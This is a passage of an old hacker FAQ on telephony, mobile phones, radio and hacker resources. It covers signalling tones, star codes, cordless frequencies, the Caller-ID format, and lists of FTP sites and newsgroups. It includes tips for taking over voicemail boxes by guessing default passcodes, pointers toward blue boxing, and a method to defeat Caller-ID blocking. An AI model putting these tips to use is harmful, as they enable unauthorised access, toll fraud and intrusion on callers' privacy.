    Low tone applied by an operator or test person at a B position in a manual office to the jack sleeve of a line or trunk in a calling multiple tells other operators the line or trunk is in trouble (also called plugging up codr tone).

    Trouble Tone is a steady Low Tone.


    Service Observing Tone

    This tone indicated that the trunk to which it is applied is being service-observed.

    Service Observing Tone is a steady 135 Hz.


    Proceed to Send Tone (International Direct Distance Dialing)

    This tone informs the operator that an overseas sender has been siezed and the address information (KP-CC-CC-ST) should be transmitted.

    Proceed to Send Tone is a steady 480 Hz at -22 dBm0.


    Centralized Intercept Bureau Order Tone

    This tone tells the centralized intercept bureau operator that a call has reached the position.

    Centralized Intercept Bureau Order Tone is a .5 second burst of 1850 Hz at -17 dBm0.


    ONI Order Tone

    This tone tells the ONI operator that a call has reached the position.

    ONI Order Tone is 700 Hz and 1100 Hz at -25 dBm for .095 to .25 seconds.



    D-28. What is the voltage used to ring a telephone?

    According to AT&T, the ringing signal is an 88v 20Hz A.C. signal superimposed on 48v nominal D.C. supervisory voltage. However, the actual rining signal used can and does vary greatly from one location to another. The frequency of the AC signal is normally between 15 and 70Hz. The interval between ringing signals is normally four seconds.



    D-29. What are all of the * (LASS) codes?

    Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes:

    Service Tone Pulse/rotary Notes
    Assistance/Police 12 n/a [1]
    Cancel forwarding 30 n/a [C1]
    Automatic Forwarding 31 n/a [C1]
    Notify 32 n/a [C1] [2]
    Intercom Ring 1 (..) 51 1151 [3]
    Intercom Ring 2 (.._) 52 1152 [3]
    Intercom Ring 3 (._.) 53 1153 [3]
    Extension Hold 54 1154 [3]
    Customer Originated Trace 57 1157  
    Selective Call Rejection 60 1160 (or Call Screen)
    Selective Distinct Alert 61 1161  
    Selective Call Acceptance 62 1162  
    Selective Call Forwarding 63 1163  
    ICLID Activation 65 1165  
    Call Return (outgoing) 66 1166  
    Number Display Blocking 67 1167 [4]
    Computer Access Restriction 68 1168  
    Call Return (incoming) 69 1169  
    Call Waiting disable 70 1170 [4]
    No Answer Call Transfer 71 1171  
    Usage Sensitive 3 way call 71 1171  
    Call Forwarding: start 72 or 72# 1172  
    Call Forwarding: cancel 73 or 73# 1173  
    Speed Calling (8 numbers) 74 or 74# 1174  
    Speed Calling (30 numbers) 75 or 75# 1175  
    Anonymous Call Rejection 77 1177 [5] [M: *58]
    Call Screen Disable 80 1180 (or Call Screen) [M: *50]
    Selective Distinct Disable 81 1181 [M: *51]
    Select. Acceptance Disable 82 1182 [4] [7]
    Select. Forwarding Disable 83 1183 [M: *53]
    ICLID Disable 85 1185  
    Call Return (cancel out) 86 1186 [6] [M: *56]
    Anon. Call Reject (cancel) 87 1187 [5] [M: *68]
    Call Return (cancel in) 89 1189 [6] [M: *59]

    Notes:

    [C1] - Means code used for Cellular One service
    [1] - for cellular in Pittsburgh, PA A/C 412 in some areas
    [2] - indicates that you are not local and maybe how to reach you
    [3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up
    [4] - applied once before each call
    [5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance)
    [6] - cancels further return attempts
    [7] - *82 (1182) has been mandated to be the nationwide code for "Send CLID info regardless of the default setting on this phone line."
    [M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige.
    It is an arrangement of ESSEX like features for single or small multiple line groups.

    The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reassigned *5x

    These appear to be standard, but may be changed locally

    Under GTE, some LASS/CLASS tones may be changed from *NN to NN#. Under pulse, GTD5 allows either NN<pause> or 11NN, but with 11NN it may conflict with a test number.

    At one time these were called CLASS Codes, for Custom Local Area Signalling Services.



    D-30. What frequencies do cordless phones operate on?

    Here are the frequencies for the first generation 46/49mhz phones.

    Channel Handset Transmit Base Transmit
    1 49.670mhz 46.610mhz
    2 49.845 46.630
    3 49.860 46.670
    4 49.770 46.710
    5 49.875 46.730
    6 49.830 46.770
    7 49.890 46.830
    8 49.930 46.870
    9 49.990 46.930
    10 49.970 46.970


    Second generation 900Mhz cordless phones have been allocated the frequencies between 902-228MHz, with channel spacing between 30-100KHz.

    Following are some examples of the frequencies used by example phones:

    Panasonic KX-T9000 (60 Channels)
    Base 902.100 - 903.870
    Handset 926.100 - 927.870

    Channel Base Handset Channel Base Handset Channel Base Handset
    01 902.100 926.100 11 902.400 926.400 21 902.700 926.700
    02 902.130 926.130 12 902.430 926.430 22 902.730 926.730
    03 902.160 926.160 13 902.460 926.460 23 902.760 926.760
    04 902.190 926.190 14 902.490 926.490 24 902.790 926.790
    05 902.220 926.220 15 902.520 926.520 25 902.820 926.820
    06 902.250 926.250 16 902.550 926.550 26 902.850 926.850
    07 902.280 926.280 17 902.580 926.580 27 902.880 926.880
    08 902.310 926.310 18 902.610 926.610 28 902.910 926.910
    09 902.340 926.340 19 902.640 926.640 29 902.940 926.940
    10 902.370 926.370 20 902.670 926.670 30 902.970 926.970
    31 903.000 927.000 41 903.300 927.300 51 903.600 927.600
    32 903.030 927.030 42 903.330 927.330 52 903.630 927.630
    33 903.060 927.060 43 903.360 927.360 53 903.660 927.660
    34 903.090 927.090 44 903.390 927.390 54 903.690 927.690
    35 903.120 927.120 45 903.420 927.420 55 903.720 927.720
    36 903.150 927.150 46 903.450 927.450 56 903.750 927.750
    37 903.180 927.180 47 903.480 927.480 57 903.780 927.780
    38 903.210 927.210 48 903.510 927.510 58 903.810 927.810
    39 903.240 927.240 49 903.540 927.540 59 903.840 927.840
    40 903.270 927.270 50 903.570 927.570 60 903.870 927.870


    V-Tech Tropez DX900 (20 Channels)

    905.6 - 907.5   Transponder (Base) Frequencies (100 Khz Spacing)
    925.5 - 927.4   Handset Frequencies
     
    
    Channel Base Handset Channel Base Handset Channel Base Handset
    01 905.600 925.500 08 906.300 926.200 15 907.000 926.900
    02 905.700 925.600 09 906.400 926.300 16 907.100 927.000
    03 905.800 925.700 10 906.500 926.400 17 907.200 927.100
    04 905.900 925.800 11 906.600 926.500 18 907.300 927.200
    05 906.000 925.900 12 906.700 926.600 19 907.400 927.300
    06 906.100 926.000 13 906.800 926.700 20 907.500 927.400
    07 906.200 926.100 14 906.900 926.800    

    Other 900mhz cordless phones
    AT&T #9120 902.0 - 905.0 & 925.0 - 928.0 Mhz
    Otron Corp. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 Mhz
    Samsung #SP-R912 903.0 & 927.0 Mhz

    Third generation 2.4Ghz cordless phones have been allocated the frequencies between 2.4Ghz and 2.48Ghz, with channel spacing of 5Mhz.


    D-31. What is Caller-ID?

    This FAQ answer is stolen from Rockwell:

    Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle.

    Parameters

    The data signalling interface has the following characteristics:

    Link Type: 2-wire, simplex
    Transmission Scheme: Analog, phase-coherent FSK
    Logical 1 (mark) 1200 +/- 12 Hz
    Logical 0 (space) 2200 +/- 22 Hz
    Transmission Rate: 1200 bps
    Transmission Level: 13.5 +/- dBm into 900 ohm load


    Protocol

    The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below.

    Channel Carrier Message Message Data Checksum
    Seizure Signal Type Length Word(s) Word
    Signal   Word Word    


    Channel Seizure Signal

    The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump).

    Carrier Signal

    The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data.

    Message Type Word

    The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100).

    Message Length Word

    The message length word specifies the total number of data words to follow.

    Data Words

    The data words are encoded in ASCII and represent the following information:

    • The first two words represent the month
    • The next two words represent the day of the month
    • The next two words represent the hour in local military time
    • The next two words represent the minute after the hour
    • The calling party's directory number is represented by the remaining words in the data word field

    If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P".

    Checksum Word

    The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the received checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported.

    Example CND Single Data Message

    An example of a received CND message, beginning with the message type word, follows:

    04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

    04h Calling number delivery information code (message type word)
    12h 18 decimal; Number of data words (date,time, and directory number words)
    30,39 09; September
    33,30 30; 30th day
    31,32 12; 12:00 PM
    32,34 24; 24 minutes (i.e., 12:24 PM)
    36,30,39,35,35,35,31,32,31,32 (609) 555-1212; calling party's directory number

    51h Checksum Word

    Data Access Arrangement (DAA) Requirements

    To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task.

    Modem Requirements

    Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information.

    Signalling

    According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst

    Applications

    Once CND information is received the user may process the information in a number of ways.

    1. The date, time, and calling party's directory number can be displayed.

    2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed.

    3. CND information can also be used in additional ways such as for:

      1. Bulletin board applications
      2. Black-listing applications
      3. Keeping logs of system user calls, or
      4. Implementing a telemarketing data base

    References

    For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031.

    To obtain Bellcore documents contact:

    Bellcore Customer Service
    60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196
    (908) 699-5800



    D-32. How do I block Caller-ID?

    Always test as much as possible before relying on any method of blocking Caller-ID. Some of these methods work in some areas, but not in others.

  • Dial *67 before you dial the number. (141 in the United Kingdom)
  • Dial your local TelCo and have them add Caller-ID block to your line.
  • Dial the 0 Operator and have him or her place the call for you.
  • Dial the call using a pre-paid phone card.
  • Dial through Security Consultants at (900)PREVENT for U.S. calls ($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
  • Dial from a pay phone. :-)



    D-33. How do I defeat Caller-ID blocking?

    Forward your phone line to a friend who lives in another LATA. When he receives the anonymous phone call, have him use *69 Call Return to dial to offending party back. As he is now placing a long distance phone call, the telephone number of the anonymous caller will show up on your friends phone bill at the end of the month.

    A variation of this system is available in areas where the local phone company offers per-call billing (as opposed to unlimited flat rate local calling) and where the local phone company issues itemized bills on those local phone calls. In those areas, you can switch your phone line to itemized local calling, *69 Call Return the anonymous telephone call, and read the anonymous callers telephone number at the end of the month.

    If you are particularly anxious, you can often request your toll records from your local telephone company without waiting for your final bill.



    D-34. What is a PBX?

    A PBX (Private Branch Exchange) is a small telephone switch owned by a company or organization. These organizations purchase PBX's to reduce the total number of telephone lines they need to lease from the telephone company. Without a PBX, a company will need to lease one telephone line for every employee with a telephone.

    With a PBX, every employees telephone line is wired to the PBX. When an employee takes the receiver off hook (i.e. picks up the telephone) and dials the outside access code (usually 9), the PBX connect the employee to an outside line (often, though somewhat incorrectly, referred to as a trunk). With a PBX, the company only needs to lease as many lines from the telephone company as the maximum number of employees that will be making outside calls at one time. This is usually around 10% of the number of extensions.

    Two common PBX systems are AT&T's Definity series (also known as the System 75 and Sytem 85) and Northern Telecom's Meridian series. Other manufacturers include ROLM, Siemens, NEC, and Mitel.



    D-35. What is a VMB?

    A VMB (Voice Mail Box) is a computer that acts as an answering machine for hundreds or thousands of users. Each user will have their own Voice Mail Box on the system. Each mail box will have a box number and a pass code.

    Without a passcode, you will usually be able to leave messages to users on the VMB system. With a passcode, you can read messages and administer a mailbox. Often, mailboxes will exist that were created by default or are no longer used. These mailboxes may be taken over by guessing their passcode. Often the passcode will be the mailbox number or a common number such as 1234.

    Two common VMB systems are AT&T's Audix system and Northern Telecom's Meridian Mail.



    D-36. What are the ABCD tones for?

    The ABCD tones are simply additional DTFM tones that may be used in any way the standard (0-9) tones are used. The ABCD tones are used in the U.S. military telephone network (AutoVon), in some Automatic Call Distributor (ACD) systems, for control messages in some PBX systems, and in some amateur radio auto-patches.

    In the AutoVon network, special telephones are equipped with ABCD keys. The ABCD keys are defined as such:

    A - Flash

    B - Flash override priority

    C - Priority communication

    D - Priority override

    Using a built-in maintenance mode of the Automatic Call Distributor (ACD) systems once used by Directory Assistance operators, you could connect two callers together.

    The purpose of the Silver Box is to create the ABCD tones.

    See also "What are the DTMF Frequencies?"



    D-37. What are the International Direct Numbers?

    The numbers are used so that you may connect to an operator from a foreign telephone network, without incurring long distance charges. These numbers may be useful in blue boxing, as many countries still have older switching equipment in use.

    Australia (800)682-2878
    Austria (800)624-0043
    Belgium (800)472-0032
    Belize (800)235-1154
    Bermuda (800)232-2067
    Brazil (800)344-1055
    British VI (800)278-6585
    Cayman (800)852-3653
    Chile (800)552-0056
    China (Shanghai) (800)532-4462
    Costa Rica (800)252-5114
    Denmark (800)762-0045
    El Salvador (800)422-2425
    Finland (800)232-0358
    France (800)537-2623
    Germany (800)292-0049
    Greece (800)443-5527
    Guam (800)367-4826
    HK (800)992-2323
    Hungary (800)352-9469
    Indonesia (800)242-4757
    Ireland (800)562-6262
    Italy (800)543-7662
    Japan (800)543-0051
    Korea (800)822-8256
    Macau (800)622-2821
    Malaysia (800)772-7369
    Netherlands (800)432-0031
    Norway (800)292-0047
    New Zealand (800)248-0064
    Panama (800)872-6106
    Portugal (800)822-2776
    Philippines (800)336-7445
    Singapore (800)822-6588
    Spain (800)247-7246
    Sweden (800)345-0046
    Taiwan (800)626-0979
    Thailand (800)342-0066
    Turkey (800)828-2646
    UK (800)445-5667
    Uruguay (800)245-8411
    Yugoslavia (800)367-9842 (Belgrade)
    367-9841 (Zagreb)
    USA from outside (800)874-4000 Ext. 107



    D-38. What are some telephone switches?

    SWITCH VENDOR TYPE DESCRIPTION
    1AES AT&T Analog No. 1A ESS
    1ES AT&T Analog No. 1 ESS
    2BES AT&T Analog No. 2B ESS
    2ES AT&T Analog No. 2 ESS
    3ES AT&T Analog No. 3 ESS
    3XB AT&T E/M No. 3 Cross-Bar
    4ES AT&T Digital No. 4 ESS
    5AXB AT&T E/M No. 5A Cross-Bar
    5ES AT&T Digital No. 5 ESS
    5ORM AT&T Digital Optical Remote Module
    5RSM AT&T Digital Remote Switching Module
    5XB AT&T E/M No. 5 Cross-Bar
    AXE10 Ericsson Digital Stand Alone or Host
    AXRSS Ericsson Digital Remote
    DGTL   Digital Generic Digital Switch
    DMS1/200 NTI Digital DMS 100/200
    DMS10 NTI Digital DMS 10
    DMS100 NTI Digital DMS 100
    DMS200 NTI Digital DMS 200
    DPN NTI Packet Packet Switch
    EDX Siemens Packet Packet Switch
    NC23 NEC E/M NEC Cross-Bar
    NEAX61E NEC Digital NEC switch
    RLCM NTI Digital Remote Line Conc Module
    RLCM-10 NTI Digital Remote Line Conc Module
    RLM NTI Digital Remote Line Module
    RSC NTI Digital Remote Switching Center
    RSCI NTI Digital ISDN RSC
    RSLE NTI Digital Remote Subscr Line Equip
    RSM AT&T Digital Remote Switching System
    RSS AT&T Analog Remote Switching System
    RSU   Digital Generic Remote Switching Unit
    SXS AT&T E/M Step by Step


    Section E -- Mobile Telephony




    E-01. What is a MTSO?

    MTSO stands for Mobile Telephone Switching Office. The MTSO is the switching office that connects all of the individual cell towers to the Central Office (CO).

    The MTSO is responsible for monitoring the relative signal strength of your cellular phone as reported by each of the cell towers, and switching your conversation to the cell tower which will give you the best possible reception.



    E-02. What is a NAM?

    NAM stands for Number Assignment Module. The NAM is the EPROM that holds information such as the MIN and SIDH. Cellular fraud is committed by modifying the information stored in this component.



    E-03. What is an ESN?

    ESN stands for Electronic Serial Number. The is the serial number of your cellular telephone which is transmitted to the cell site, and used in conjuction with the NAM to verify that you are a legitimate user on the system.



    E-04. What is a MIN?

    MIN stands for Mobile Identification Number. This is the phone number of the cellular telephone.



    E-05. What is a SCM?

    SCM stands for Station Class Mark. The SCM is a 4 bit number which holds three different pieces of information. Your cellular telephone transmits this information (and more) to the cell tower. Bit 1 of the SCM tells the cell tower whether your cellphone uses the older 666 channel cellular system, or the newer 832 channel cellular system. The expansion to 832 channels occured in 1988. Bit 2 tells the cellular system whether your cellular telephone is a mobile unit or a voice activated cellular telephone. Bit's 3 and 4 tell the cell tower what power your cellular telephone should be transmitting on.

    Bit 1:
    0 == 666 channels
    1 == 832 channels

    Bit 2:
    0 == Mobile cellular telephone
    1 == Voice activated cellular telephone

    Bit 3/4:
    00 == 3.0 watts (Mobiles)
    01 == 1.2 watts (Transportables)
    10 == .06 watts (Portables)
    11 == Reserved for future use


    E-06. What is a SIDH?

    SIDH stands for System Identification for Home System. The SIDH in your cellular telephone tells the cellular system what system your cellular service originates from. This is used in roaming (making cellular calls when in an area not served by your cellular provider).

    Every geographical region has two SIDH codes, one for the wireline carrier and one for the nonwireline carrier. These are the two companies that are legally allowed to provide cellular telephone service in that region. The wireline carrier is usually your local telephone company, while the nonwireline carrier will be another company. The SIDH for the wireline carrier is always an even number, while the SIDH for the nonwireline carrier is always an odd number. The wireline carrier is also known as the Side-B carrier and the non-wireline carrier is also known as the Side-A carrier.

    SIDH is often abbreviated to SID.



    E-07. What are the forward/reverse channels?

    Forward channels are the frequencies the cell towers use to talk to your cellular telephone. Reverse channels are the frequencies your cellular telephone uses to talk to the cell towers.

    The forward channel is 45 mhz above the reverse channel. For example, if the reverse channel is at 824 mhz, the forward channel would be at 869 mhz.




    Section F -- Radio


    F-01. What are these radios I see all of the other hacker types carrying around?

    These radios serve two functions:

    1. They serve as scanners, to listen to interesting radio traffic such as police and emergency bands.
    2. They serve as tranceivers, to allow hackers to talk with each other over the amateur radio bands.
    Most of the popular radio models now incorporate both of these functions. The most popular models of handheld radios are currently all from Yaesu, although Kenwood and Icom are also manufacturing some excellent equipment.

    Yaesu
    http://www.yaesu.com/amateur/handheld.html

    Kenwood
    http://www.kenwood.com/i/products/info/amateur.html

    Icom
    http://www.icomamerica.com/amateur/dualhand/index.html


    F-02. Do I need a license to use one of these radios?

    You do not need to be licensed to operate a scanner. You should be legally licensed to operate an amateur (HAM) radio. The process of becoming licensed is:
    1. Not difficult.
    2. Educational.

    I recommend becoming licensed because it will increase your enjoyment of amateur radio.

    For more information, visit the American Radio Relay League (ARRL) at http://www.arrl.org/hamradio.html


    F-03. What about modifying ("modding") these radios?

    The best of these radios can be extensively modified by end users. These modifications usually allows greater receive or transmit ranges, but may enable access to an array of possible features.

    The absolute best source for radio mod information is http://www.mods.dk


    F-04. What are better radios for scanning?

    My recommendations for general purpose scanners are the PC controlled models. They give you many more options for playing and they are a great band for your scanning buck. Of course, you can't carry these units around on your belt!

    Icom PCR-1000
    http://www.icomamerica.com/receivers/pc/icpcr1000main.html

    WinRadio
    http://www.winradio.com/


    F-05. What is trunking?

    Traditional radio equipment works because both parties of the communication agree on what frequencies they will utilize. Traditional radio scanners work by scanning for and then listening to those frequencies.

    Trunking radios, on the other hand, constantly renegotiate the frequencies utilized by both parties. This allows for more efficient utilization of limited gfrequencies because each conversation does not require a dedicated channel. However, it also makes it very difficult to scan trunked conversations because you never quite know what frequency the next portion of the conversation will appear on.

    Some scanners are able to follow the trunking control messages sent out by the trunking radios and automatically switch to the new signal. The technology leader in trunked scanners is Uniden.

    Uniden BC-245XLT Handheld Scanner
    http://www.uniden.com/product.cfm?product=BC245XLT

    Uniden BC-780XLT Desktop Scanner
    http://www.uniden.com/product.cfm?product=BC780XLT

    There are many types of trunked radio systems and the number is increasing constantly. For more information visit the Trunked Radio Information Homepage at http://www.trunkedradio.net/


    F-06. What is pirate radio?

    Pirate radio is broadcasting outside of the rules laid down by the Federal Communications Commission (FCC). Pirate radio usually occurs on the FM band because that is where the most receivers are.

    Under Part 15 of the FCC rules, you can legally broadcast on the FM band if you broadcast using less that 100 milliwatts of output power and and antenna less than 3' long. By contrast, commercial FM broadcasters are required to broadcast using at least 100 watts of output power. 100 milliwatts will give your signal an effective range of less than one mile.

    You can build the gear needed to transmit pirate radio or you can buy much of what you need from Radio Free Berkeley. An entire broadcasting system can be put together for well under $1,000.

    For more information, check out Radio Free Berkeley at http://www.freeradio.org.





    Section H -- Resources


    H-01. What are some ftp sites of interest to hackers?

    204.215.84.2 /pub/dmackey  
    2600.com   (2600 Magazine)
    aeneas.mit.edu   (Kerberos)
    alex.sp.cs.cmu.edu /links/security (Misc)
    asylum.sf.ca.us   (CyberWarriors of Xanadu)
    atari.archive.umich.edu /pub/atari/Utilities/pgp261st.zip (Atari PGP)
    athena-dist.mit.edu /pub/ATHENA (Athena Project)
    atlantis.utmb.edu   (Anti-virus)
    bellcore.com   (Bellcore)
    cert.org   (CERT)
    ciac.llnl.gov   (CIAC)
    cnit.nsk.su /pub/security (Security)
    coast.cs.purdue.edu /pub (Security/COAST)
    coombs.anu.edu.au /pub/security (Security)
    csrc.ncsl.nist.gov   (NIST Security)
    dartmouth.edu /pub/security (Security)
    ds.internic.net   (Internet documents)
    dutiws.twi.tudelft.nl /pub/novell  
    etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine)
    fastlane.net /pub/nomad  
    ftp.3com.com /pub/Orange-Book (Orange Book)
    ftp.acns.nwu.edu /pub (Mac Anti-virus)
    ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC)
    ftp.armory.com /pub/user/kmartind (H/P)
    ftp.armory.com /pub/user/swallow (H/P)
    ftp.auscert.org.au /pub (Australian CERT)
    ftp.cert.dfn.de   (FIRST)
    ftp.cs.ruu.nl /pub/SECURITY (Security & PGP)
    ftp.cs.uwm.edu
    /pub/comp-privacy (Privacy Digest)
    ftp.csi.forth.gr /pub/security  
    ftp.csl.sri.com /pub/nides (SRI)
    ftp.csua.berkeley.edu
    /pub/cypherpunks (Crypto)
    ftp.demon.co.uk /pub/misc/0800num.txt (0800/0500 numbers)
    ftp.denet.dk /pub/security/tools/satan  
    ftp.digex.net /pub/access/dunk  
    ftp.dsi.unimi.it /pub/security/crypt (Crypto)
    ftp.dstc.edu.au
    /pub/security/satan  
    ftp.ee.ualberta.ca /pub/cookbook/telecom (Telecom electronics)
    ftp.etext.org   (Etext)
    ftp.funet.fi /pub/doc/CuD  
    ftp.gate.net /pub/users/wakko  
    ftp.giga.or.at /pub/hacker/ (H/P)
    ftp.greatcircle.com /pub/firewalls (Firewalls)
    ftp.IEunet.ie
    ftp.ifi.uio.no
    /pub/security (Security)
    ftp.info.fundp.ac.be    
    ftp.informatik.uni-hamburg.de  
    ftp.informatik.uni-kiel.de /pub/sources/security  
    ftp.lava.net /users/oracle/ (H/P
    ftp.lerc.nasa.gov /security  
    ftp.llnl.gov /pub (CIAC)
    ftp.luth.se
    /pub/unix/security  
    ftp.mcs.anl.gov /pub/security  
    ftp.near.net
    /security/archives/phrack (Zines)
    ftp.net.ohio-state.edu /pub/security/satan  
    ftp.netsys.com /pub/zz/zzyzx (H/P)
    ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)
    ftp.ox.ac.uk /pub/comp/security  
    ftp.ox.ac.uk /pub/crypto (Cryptology)
    ftp.ox.ac.uk /pub/wordlists (Wordlists)
    ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
    ftp.pipex.net
    /pub/areacode (uk areacodes)
    ftp.primenet.com /users/i/insphrk  
    ftp.primenet.com /users/k/kludge (H/P)
    ftp.primenet.com /users/s/scuzzy (Copy Protection)
    ftp.psy.uq.oz.au /pub/DES  
    ftp.rahul.net /pub/conquest/DeadelviS/script/vms/
    ftp.rahul.net
    /pub/lps (Home of the FAQ)
    ftp.smartlink.net /pub/users/mikes/haq  
    ftp.std.com /archives/alt.locksmithing (Locksmithing)
    ftp.std.com /obi/Mischief/ (MIT Guide to Locks)
    ftp.std.com /obi/Phracks (Zines)
    ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
    ftp.sura.net
    /pub/security (SURAnet)
    ftp.tisl.ukans.edu /pub/security  
    ftp.uni-koeln.de
      (Wordlists)
    ftp.uu.net /doc/literary/obi/Phracks (Zines)
    ftp.warwick.ac.uk /pub/cud (Zines)
    ftp.win.tue.nl /pub/security (Security)
    ftp.winternet.com /users/nitehwk (H/P)
    ftp.wustl.edu
    /doc/EFF (EFF)
    garbo.uwasa.fi /pc/crypt (Cryptology)
    gemini.tuc.noao.edu /pub/grandi  
    gti.net
    gumby.dsd.trw.com
    /pub/safetynet  
    hack-this.pc.cc.cmu.edu   (Down for Summer)
    heffer.lab.csuchico.edu   (Third Stone From The Sun)
    hplyot.obspm.fr
    info.mcs.anl.gov
       
    lcs.mit.edu /telecom-archives (Telecom archives)
    lod.com
    mac.archive.umich.edu
      (Legion of Doom)
    mary.iia.org
    monet.ccs.itd.umich.edu
    /pub/users/patriot (Misc)
    net-dist.mit.edu /pub/pgp  
    net.tamu.edu /pub/security/TAMU (Security)
    net23.com /pub (Max Headroom)
    nic.ddn.mil /scc (DDN Security)
    nic.sura.net /pub/security  
    oak.oakland.edu /pub/hamradio (Ham Radio)
    oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)
    oak.oakland.edu
    parcftp.xerox.com
    /SimTel/msdos/sysutil (BIOS attackers)
    prism.nmt.edu /pub/misc (Terrorist Handbook)
    pyrite.rutgers.edu /pub/security (Security)
    relay.cs.toronto.edu /doc/telecom-archives (Telecom)
    rena.dit.co.jp /pub/security (Security)
    research.att.com /dist/internet_security (AT&T)
    ripem.msu.edu /pub/crypt (Ripem)
    rmii.com /pub2/KRaD (KRaD Magazine)
    rtfm.mit.edu   (Etext)
    rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
    scss3.cl.msu.edu /pub/crypt (Cryptology)
    sgigate.sgi.com
    sierra.stanford.edu
    /Security (SGI Security)
    spy.org   (CSC)
    src.doc.ic.ac.uk /usenet/uk.telecom (uk.telecom archives)
    suburbia.apana.org.au
    sunsolve1.sun.com
    /pub/unix/security (Security)
    theta.iis.u-tokyo.ac.jp /pub1/security (Security)
    titania.mathematik.uni-ulm.de /pub/security (Security)
    toxicwaste.mit.edu
    ugle.unit.no
    /pub/rsa129/README (Breaking RSA)
    unipc20.unimed.sintef.no  
    vic.cc.purdue.edu    
    vixen.cso.uiuc.edu
    web.mit.edu
    /security  
    wimsey.bc.ca /pub/crypto (Cryptology)
    wuarchive.wustl.edu /pub/aminet/util/crypt  



    H-02. What are some fsp sites of interest to hackers?

    None known at this time.



    H-03. What are some newsgroups of interest to hackers?

    news:alt.2600 Do it 'til it hertz
    news:alt.2600d  
    news:alt.2600hz  
    alt.magazine.2600 Spam free discussion of 2600 Magazine. (Moderated)
    alt.binaries.comp.virus NG to post virus and antivirus utilities.
    alt.binaries.cracks Like alt.binaries.warez.*, only different.
    alt.binaries.cracks.d Discussion of issues in alt.binaries.cracks
    alt.binaries.satellite-tv Programs and data related to encrypted TV.
    alt.cellular Cellular telephone techhnology
    alt.cellular-phone-tech Brilliant telephony mind blow netnews naming
    alt.comp.virus An unmoderated forum for discussing viruses
    alt.comp.virus.binaries Executables of NEW Viruses
    alt.comp.virus.source.code The source code to various virii.
    alt.cracks Heavy toolbelt wearers of the world, unite
    alt.cyberpunk High-tech low-life.
    alt.cyberspace Cyberspace and how it should work.
    alt.dcom.telecom Discussion of telecommunications technology
    alt.engr.explosives
    BOOM
    alt.hackers
    Descriptions of projects currently under development
    alt.hackintosh Clever programming on Apple's Macintosh
    alt.locksmithing You locked your keys in where?
    alt.hackers.malicious The really bad guys - don't take candy from them
    alt.ph.uk United Kingdom version of alt.2600
    alt.privacy.anon-server Issues surrounding programs that aid anonymity
    alt.radio.pirate Hide the gear, here comes the magic station-wagons.
    alt.radio.scanner Discussion of scanning radio receivers.
    alt.satellite.tv.crypt Satellite signal de-cryption techniques.
    alt.security Security issues on computer systems
    alt.security.alarms Discussion of Home/Business/Vehicle security alarms.
    alt.security.index Pointers to good stuff in alt.security (Moderated)
    alt.security.keydist Exchange of keys for public key encryption systems
    alt.security.pgp The Pretty Good Privacy package
    comp.dcom.telecom.tech Discussion of technical aspects of telephony.
    comp.org.cpsr.announce Computer Professionals for Social Responsibility
    comp.org.cpsr.talk Issues of computing and social responsibility
    comp.org.eff.news News from the Electronic Frontiers Foundation
    comp.org.eff.talk Discussion of EFF goals, strategies, etc.
    comp.os.netware.security Netware Security issues
    comp.protocols.kerberos The Kerberos authentification server
    comp.protocols.tcp-ip TCP and IP network protocols
    comp.risks Risks to the public from computers & users
    comp.security.announce Announcements from the CERT about security
    comp.security.firewalls Anything pertaining to network firewall security
    comp.security.gss-api Generic Security Service Application Program Interface.
    comp.security.misc Security issues of computers and networks
    comp.security.ssh SSH secure remote login and tunneling tools.
    comp.security.unix Discussion of Unix security
    comp.virus Computer viruses & security (Moderated)
    news.org.ccc Mitteilungen des CCC e.V.
    rec.pyrotechnics Fireworks, rocketry, safety, & other topics
    rec.radio.scanner "Utility" broadcasting traffic above 30 MHz.
    rec.video.cable-tv Technical and regulatory issues of cable television
    sci.crypt Different methods of data en/decryption
    sci.crypt.random-numbers Generating cryptographic strength randomness.
    sci.crypt.research Cryptography, cryptanalysis, and related issues. (Moderated)


    H-04. What are some telnet sites of interest to hackers?

    ntiabbs.ntia.doc.gov (NTIA)
    sfpg.gcomm.com (The Floating Pancreas)
